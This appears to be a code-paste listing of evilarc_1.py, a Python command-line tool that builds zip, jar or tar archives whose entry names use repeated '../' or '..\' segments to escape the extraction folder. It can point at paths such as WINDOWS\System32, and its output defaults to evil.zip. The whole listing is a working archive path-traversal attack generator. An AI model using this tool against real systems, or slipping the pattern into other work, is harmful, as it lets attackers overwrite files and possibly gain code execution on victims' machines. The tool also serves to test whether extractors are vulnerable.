evilarc_1.py 2.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657
  1. def main(argv=sys.argv):
  2. p = optparse.OptionParser(description='Create archive containing a file with directory traversal',
  3. prog='evilarc',
  4. version='0.1',
  5. usage='%prog <input file>')
  6. p.add_option('--output-file', '-f', dest="out",
  7. help="File to output archive to. Archive type is based off of file extension. Supported extensions are zip, jar, tar, tar.bz2, tar.gz, and tgz. Defaults to evil.zip.")
  8. p.set_default("out", "evil.zip")
  9. p.add_option('--depth', '-d', type="int", dest="depth", help="Number directories to traverse. Defaults to 8.")
  10. p.set_default("depth", 8)
  11. p.add_option('--os', '-o', dest="platform", help="OS platform for archive (win|unix). Defaults to win.")
  12. p.set_default("platform", "win")
  13. p.add_option('--path', '-p', dest="path",
  14. help="Path to include in filename after traversal. Ex: WINDOWS\\System32\\")
  15. p.set_default("path", "")
  16. options, arguments = p.parse_args()
  17. if len(arguments) != 1:
  18. p.error("Incorrect arguments")
  19. fname = arguments[0]
  20. if not os.path.exists(fname):
  21. sys.exit("Invalid input file")
  22. if options.platform == "win":
  23. dir = "..\\"
  24. if options.path and options.path[-1] != '\\':
  25. options.path += '\\'
  26. else:
  27. dir = "../"
  28. if options.path and options.path[-1] != '/':
  29. options.path += '/'
  30. zpath = dir * options.depth + options.path + os.path.basename(fname)
  31. print("Creating " + options.out + " containing " + zpath)
  32. ext = os.path.splitext(options.out)[1]
  33. if os.path.exists(options.out):
  34. wmode = 'a'
  35. else:
  36. wmode = 'w'
  37. if ext == ".zip" or ext == ".jar":
  38. zf = zipfile.ZipFile(options.out, wmode)
  39. zf.write(fname, zpath)
  40. zf.close()
  41. return
  42. elif ext == ".tar":
  43. mode = wmode
  44. elif ext == ".gz" or ext == ".tgz":
  45. mode = "w:gz"
  46. elif ext == ".bz2":
  47. mode = "w:bz2"
  48. else:
  49. sys.exit("Could not identify output archive format for " + ext)
  50. tf = tarfile.open(options.out, mode)
  51. tf.add(fname, zpath)
  52. tf.close()